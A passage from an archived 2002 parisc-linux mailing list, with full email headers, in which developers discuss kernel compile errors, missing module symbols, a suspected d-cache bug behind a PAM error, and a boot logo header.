> Revolutions do not require corporate support.
> 
inheritance from config-2.4.17-32 (of Debian kernel image of this time) :)

Too lasy to analyse exactly what I need for my 712, b180, b2000 I continue to
use it.

Joel


-------------------------------------------------
This mail sent through Tiscali Webmail (http://webmail.tiscali.be)


From - Thu Nov 08 21:23:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] K-2.5.26-pa0: NCR5380.c ?
Date: Wed, 24 Jul 2002 15:50:37 +0200 (CEST)
Lines: 25
Approved: news@gmane.org
Message-ID: <1027518637.3d3eb0ad8a234@webmail.tiscalinet.be>
References: <1027513921.3d3e9e41069a0@webmail.tiscalinet.be> <1027518935.6517.30.camel@irongate.swansea.linux.org.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621564 11432 80.91.229.3 (22 Nov 2014 01:59:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:24 +0000 (UTC)
Cc: joel.soete@freebel.net, parisc-linux@lists.parisc-linux.org
To: Alan Cox <alan@lxorguk.ukuu.org.uk>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul 24 07:50:48 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from webmail.tiscalinet.be (unknown [212.35.2.201])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4CA52482B
	for <parisc-linux@lists.parisc-linux.org>; Wed, 24 Jul 2002 07:50:47 -0600 (MDT)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 17XMXF-0000TZ-00; Wed, 24 Jul 2002 15:50:37 +0200
In-Reply-To: <1027518935.6517.30.camel@irongate.swansea.linux.org.uk>
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.4
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15636

Quoting Alan Cox <alan@lxorguk.ukuu.org.uk>:

> On Wed, 2002-07-24 at 13:32, joel.soete@freebel.net wrote:
> > In NCR5380.c failled to compile because 'io_request_lock' undeclare.
> > 
> > '&io_request_lock' seems to became 'q->queue_lock'
> (include/linux/nbd.h)(with
> > request_queue_t *q).
> > Is it right?
> 
> In the general case for NCR5380 no. There is a lot more that needs to
> be
> fixed to make that driver work on 2.5
> 
> 

Well it seems that I do not realy need it right now. So I will simply try to use
make oldconfig (just a test).

Joel


-------------------------------------------------
This mail sent through Tiscali Webmail (http://webmail.tiscali.be)


From - Thu Nov 08 21:23:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PAM unable to resolve symbol: pam_sm_cha uthtok
Date: Wed, 24 Jul 2002 09:10:10 -0600
Lines: 13
Approved: news@gmane.org
Message-ID: <20020724151011.04630482B@dsl2.external.hp.com>
References: <1027513921.3d3e9e41069a0@webmail.tiscalinet.be> <1027518935.6517.30.camel@irongate.swansea.linux.org.uk>  <3D3EAF4A.978D4311@hpfrcu81.france.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621564 11433 80.91.229.3 (22 Nov 2014 01:59:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:24 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: phi <phi@hpfrcu81.france.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul 24 09:10:11 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 04630482B; Wed, 24 Jul 2002 09:10:10 -0600 (MDT)
In-Reply-To: Message from phi <phi@hpfrcu81.france.hp.com> 
   of "Wed, 24 Jul 2002 15:44:42 +0200." <3D3EAF4A.978D4311@hpfrcu81.france.hp.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15637

phi wrote:
> Jul 24 15:38:36 iws1pb02 rlogind[7919]: PAM unable to resolve symbol:
> pam_sm_chauthtok

This stinks alot like the other d-cache issues we've seen.
(eg syslogd faulting at boot time)

Which system model is this happening on? (/me guesses J5000 or PA2.0 K-class)

I don't know where the problem is though.

grant


From - Thu Nov 08 21:23:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] unresoved symbols when doing a make modules_install
Date: Wed, 24 Jul 2002 15:39:58 +0100
Lines: 9
Approved: news@gmane.org
Message-ID: <20020724143958.GS29996@sleepie.demon.co.uk>
References: <OE32H8BX2vRxFmNHYus00008028@hotmail.com> <20020723150421.G3052@parcelfarce.linux.theplanet.co.uk> <OE71RBHZXFZ0stgr3SU00003162@hotmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621564 11435 80.91.229.3 (22 Nov 2014 01:59:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:24 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>, parisc-linux@parisc-linux.org
To: kenneth westelinck <kennywest1@hotmail.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul 24 09:42:49 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from thinkpad.home (pc3-hem11-4-cust123.bre.cable.ntl.com [213.107.179.123])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6FAC5482B
	for <parisc-linux@parisc-linux.org>; Wed, 24 Jul 2002 09:42:49 -0600 (MDT)
Original-Received: by thinkpad.home (Postfix, from userid 1000)
	id BA05F9EE55; Wed, 24 Jul 2002 15:39:58 +0100 (BST)
Content-Disposition: inline
In-Reply-To: <OE71RBHZXFZ0stgr3SU00003162@hotmail.com>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15638

On Wed, Jul 24, 2002 at 10:33:22AM +0200, kenneth westelinck wrote:
> > i'm baffled.  we prototype, define and EXPORT_SYMBOL outs[bwl].  i can't
> > see why you'd get this error.

But only if CONFIG_PCI or CONFIG_ISA, kenneth has neither in his config.

Richard



From - Thu Nov 08 21:23:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: phi <phi@hpfrcu81.france.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PAM unable to resolve symbol: pam_sm_cha uthtok
Date: Wed, 24 Jul 2002 17:55:41 +0200
Lines: 32
Approved: news@gmane.org
Message-ID: <3D3ECDFD.FFC416F6@hpfrcu81.france.hp.com>
References: <1027513921.3d3e9e41069a0@webmail.tiscalinet.be> <1027518935.6517.30.camel@irongate.swansea.linux.org.uk>  <3D3EAF4A.978D4311@hpfrcu81.france.hp.com> <20020724151011.04630482B@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621565 11441 80.91.229.3 (22 Nov 2014 01:59:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:25 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul 24 09:54:57 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from bbnrel4.net.external.hp.com (bbnrel4.net.external.hp.com [155.208.254.68])
	by dsl2.external.hp.com (Postfix) with ESMTP id 60F87482B
	for <parisc-linux@lists.parisc-linux.org>; Wed, 24 Jul 2002 09:54:57 -0600 (MDT)
Original-Received: from iws1pb05.france.hp.com (unknown [15.124.72.14])
	by bbnrel4.net.external.hp.com (Postfix) with ESMTP id A4CF473E
	for <parisc-linux@lists.parisc-linux.org>; Wed, 24 Jul 2002 17:54:55 +0200 (METDST)
Original-Received: from hpfrcu81.france.hp.com (localhost [127.0.0.1]) by iws1pb05.france.hp.com with ESMTP (8.8.6 (PHNE_17190)/8.7.3 SMKit7.01) id RAA03011; Wed, 24 Jul 2002 17:55:41 +0200 (METDST)
X-Mailer: Mozilla 4.75 [en] (X11; U; HP-UX B.11.00 9000/785)
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15639

Grant Grundler wrote:
> 
> phi wrote:
> > Jul 24 15:38:36 iws1pb02 rlogind[7919]: PAM unable to resolve symbol:
> > pam_sm_chauthtok
> 
> This stinks alot like the other d-cache issues we've seen.
> (eg syslogd faulting at boot time)

Ouch didn't suspect this was that deep, I was focusing on this f. pam to
setup.

> 
> Which system model is this happening on? (/me guesses J5000 or PA2.0 K-class)

This is a C180 running
Linux iws1pb02 2.4.18-pa22 #48

This old version was from my 'stable' 712, then I instaled the C180 via a
brute 
cpio -p onto the C180. Then it is a narrow kernel.

My plan (tomorow?) is to get the linux CVS source and recompile...


BTW I think I saw the exact same behavior on a 712 does the dcache problem
present there too? 

Well will see what I got tomorow.
Cheers,
Phi


From - Thu Nov 08 21:23:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "kenneth westelinck" <kennywest1@hotmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] unresoved symbols when doing a make modules_install
Date: Wed, 24 Jul 2002 18:06:30 +0200
Lines: 33
Approved: news@gmane.org
Message-ID: <OE44z4uqqtBqykC26qz00004754@hotmail.com>
References: <OE32H8BX2vRxFmNHYus00008028@hotmail.com> <20020723150421.G3052@parcelfarce.linux.theplanet.co.uk> <OE71RBHZXFZ0stgr3SU00003162@hotmail.com> <20020724143958.GS29996@sleepie.demon.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621565 11445 80.91.229.3 (22 Nov 2014 01:59:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:25 +0000 (UTC)
Cc: "Matthew Wilcox" <willy@debian.org>,
	<parisc-linux@parisc-linux.org>
To: "Richard Hirst" <rhirst@linuxcare.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul 24 10:06:46 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hotmail.com (oe44.law4.hotmail.com [216.33.148.81])
	by dsl2.external.hp.com (Postfix) with ESMTP id 61933482B
	for <parisc-linux@parisc-linux.org>; Wed, 24 Jul 2002 10:06:46 -0600 (MDT)
Original-Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Wed, 24 Jul 2002 09:06:35 -0700
X-Originating-IP: [213.224.83.150]
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4522.1200
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
X-OriginalArrivalTime: 24 Jul 2002 16:06:35.0860 (UTC) FILETIME=[15E37140:01C2332C]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15640

I see.
Indeed, I'm not configuring any PCI or ISA slots, as my 712 doesn't have any
(at least I haven't seen any of these slots when I replaced the CMOS
battery). That's why I'm building my own kernels in the first place; to have
a kernel suited for my own box.
I assume if I would disable PCI and ISA on my 486 (hypothetically), the ppa
would have some unresolved symbols as well?
So, should I enable PCI or ISA to make the ppa module work? Or is there
another way around to use the ppa module without the PCI or ISA stuff?
Thanks.

Kenneth

----- Original Message -----
From: "Richard Hirst" <rhirst@linuxcare.com>
To: "kenneth westelinck" <kennywest1@hotmail.com>
Cc: "Matthew Wilcox" <willy@debian.org>; <parisc-linux@parisc-linux.org>
Sent: Wednesday, July 24, 2002 4:39 PM
Subject: Re: [parisc-linux] unresoved symbols when doing a make
modules_install


> On Wed, Jul 24, 2002 at 10:33:22AM +0200, kenneth westelinck wrote:
> > > i'm baffled.  we prototype, define and EXPORT_SYMBOL outs[bwl].  i
can't
> > > see why you'd get this error.
>
> But only if CONFIG_PCI or CONFIG_ISA, kenneth has neither in his config.
>
> Richard
>
>


From - Thu Nov 08 21:23:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "kenneth westelinck" <kennywest1@hotmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] K-2.5.26-pa0: NCR5380.c ?
Date: Wed, 24 Jul 2002 18:09:04 +0200
Lines: 40
Approved: news@gmane.org
Message-ID: <OE447R3gVBYJmczY4Yh00004757@hotmail.com>
References: <1027513921.3d3e9e41069a0@webmail.tiscalinet.be> <20020724134744.K3052@parcelfarce.linux.theplanet.co.uk> <1027518368.3d3eafa051fc1@webmail.tiscalinet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621565 11450 80.91.229.3 (22 Nov 2014 01:59:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:25 +0000 (UTC)
Cc: <joel.soete@freebel.net>, <parisc-linux@lists.parisc-linux.org>
To: "Matthew Wilcox" <willy@debian.org>, <joel.soete@freebel.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul 24 10:09:08 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hotmail.com (oe44.law4.hotmail.com [216.33.148.81])
	by dsl2.external.hp.com (Postfix) with ESMTP id C8D23482B
	for <parisc-linux@lists.parisc-linux.org>; Wed, 24 Jul 2002 10:09:07 -0600 (MDT)
Original-Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Wed, 24 Jul 2002 09:09:07 -0700
X-Originating-IP: [213.224.83.150]
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4522.1200
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
X-OriginalArrivalTime: 24 Jul 2002 16:09:07.0438 (UTC) FILETIME=[703C68E0:01C2332C]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15641

# CONFIG_SCSI_GENERIC_NCR5380 is not set
I'm not using it on my 712/60. So I guess you can remove this from your
config for your 712.

----- Original Message -----
From: <joel.soete@freebel.net>
To: "Matthew Wilcox" <willy@debian.org>
Cc: <joel.soete@freebel.net>; <parisc-linux@lists.parisc-linux.org>
Sent: Wednesday, July 24, 2002 3:46 PM
Subject: Re: [parisc-linux] K-2.5.26-pa0: NCR5380.c ?


> Quoting Matthew Wilcox <willy@debian.org>:
>
> > On Wed, Jul 24, 2002 at 02:32:01PM +0200, joel.soete@freebel.net wrote:
> > > In NCR5380.c failled to compile because 'io_request_lock' undeclare.
> >
> > why are you trying to compile this driver?  do you _really_ have an
> > NCR5380?
> >
> > --
> > Revolutions do not require corporate support.
> >
> inheritance from config-2.4.17-32 (of Debian kernel image of this time) :)
>
> Too lasy to analyse exactly what I need for my 712, b180, b2000 I continue
to
> use it.
>
> Joel
>
>
> -------------------------------------------------
> This mail sent through Tiscali Webmail (http://webmail.tiscali.be)
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
>


From - Thu Nov 08 21:23:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] unresoved symbols when doing a make modules_install
Date: Wed, 24 Jul 2002 17:44:43 +0100
Lines: 21
Approved: news@gmane.org
Message-ID: <20020724174443.P3052@parcelfarce.linux.theplanet.co.uk>
References: <OE32H8BX2vRxFmNHYus00008028@hotmail.com> <20020723150421.G3052@parcelfarce.linux.theplanet.co.uk> <OE71RBHZXFZ0stgr3SU00003162@hotmail.com> <20020724143958.GS29996@sleepie.demon.co.uk> <OE44z4uqqtBqykC26qz00004754@hotmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621566 11453 80.91.229.3 (22 Nov 2014 01:59:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:26 +0000 (UTC)
Cc: Richard Hirst <rhirst@linuxcare.com>,
	Matthew Wilcox <willy@debian.org>, parisc-linux@parisc-linux.org
To: kenneth westelinck <kennywest1@hotmail.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul 24 10:44:45 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id E37D6482B
	for <parisc-linux@parisc-linux.org>; Wed, 24 Jul 2002 10:44:44 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 17XPFj-0000EX-00; Wed, 24 Jul 2002 17:44:43 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <OE44z4uqqtBqykC26qz00004754@hotmail.com>; from kennywest1@hotmail.com on Wed, Jul 24, 2002 at 06:06:30PM +0200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15642

On Wed, Jul 24, 2002 at 06:06:30PM +0200, kenneth westelinck wrote:
> Indeed, I'm not configuring any PCI or ISA slots, as my 712 doesn't have any
> (at least I haven't seen any of these slots when I replaced the CMOS
> battery). That's why I'm building my own kernels in the first place; to have
> a kernel suited for my own box.

right

> I assume if I would disable PCI and ISA on my 486 (hypothetically), the ppa
> would have some unresolved symbols as well?
> So, should I enable PCI or ISA to make the ppa module work? Or is there
> another way around to use the ppa module without the PCI or ISA stuff?
> Thanks.

the ppa module needs to be rewritten to consider that the parallel port
might be memory mapped.  it will never work on a PA box (except maybe
the B1000 / C3000 / J5000 range).

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:23:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "kenneth westelinck" <kennywest1@hotmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] linux_logo.h
Date: Wed, 24 Jul 2002 20:11:55 +0200
Lines: 43
Approved: news@gmane.org
Message-ID: <OE68jjzU6Cz6X17MR7S00007ad2@hotmail.com>
References: <OE40qsOVXlCViSvIkwp00008102@hotmail.com> <200207232314.56027.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621566 11456 80.91.229.3 (22 Nov 2014 01:59:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:26 +0000 (UTC)
To: "Helge Deller" <deller@gmx.de>, <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul 24 12:11:59 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hotmail.com (oe68.law4.hotmail.com [216.33.148.164])
	by dsl2.external.hp.com (Postfix) with ESMTP id 862D4482B
	for <parisc-linux@parisc-linux.org>; Wed, 24 Jul 2002 12:11:59 -0600 (MDT)
Original-Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Wed, 24 Jul 2002 11:11:58 -0700
X-Originating-IP: [213.224.83.150]
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4522.1200
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
X-OriginalArrivalTime: 24 Jul 2002 18:11:58.0974 (UTC) FILETIME=[9A0389E0:01C2333D]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15643

Thanks, but I don't take any credits for this. Thank the people from esiee.
I only fixed some define statements.
I'll try to remove the HP-style background, once I've figured out how to
convert the header file to a XPM-file.

regards,

Kenneth

----- Original Message -----
From: "Helge Deller" <deller@gmx.de>
To: "kenneth westelinck" <kennywest1@hotmail.com>;
<parisc-linux@parisc-linux.org>
Sent: Tuesday, July 23, 2002 11:14 PM
Subject: Re: [parisc-linux] linux_logo.h


> Hi Kenneth,
>
> nice logo, but personally I don't like the HP-style background.
> Couldn't you make a patch without any background pattern and just black
instead ?
>
> Greetings,
> Helge
>
> On Tuesday 23 July 2002 15:20, kenneth westelinck wrote:
> > Hi all,
> >
> > The linux_logo.h that is available on the esiee site
> > (http://pateam.esiee.fr/download.html) seems a little outdated. Here's a
> > version that works with 2.4.18-pa56.
> >
> > regards,
> >
> > Kenneth
>
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
>


From - Thu Nov 08 21:23:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PAM unable to resolve symbol: pam_sm_cha uthtok
Date: Wed, 24 Jul 2002 12:44:51 -0600
Lines: 15
Approved: news@gmane.org
Message-ID: <20020724184451.685B04838@dsl2.external.hp.com>
References: <1027513921.3d3e9e41069a0@webmail.tiscalinet.be> <1027518935.6517.30.camel@irongate.swansea.linux.org.uk> <3D3EAF4A.978D4311@hpfrcu81.france.hp.com> <20020724151011.04630482B@dsl2.external.hp.com>  <3D3ECDFD.FFC416F6@hpfrcu81.france.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621566 11458 80.91.229.3 (22 Nov 2014 01:59:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
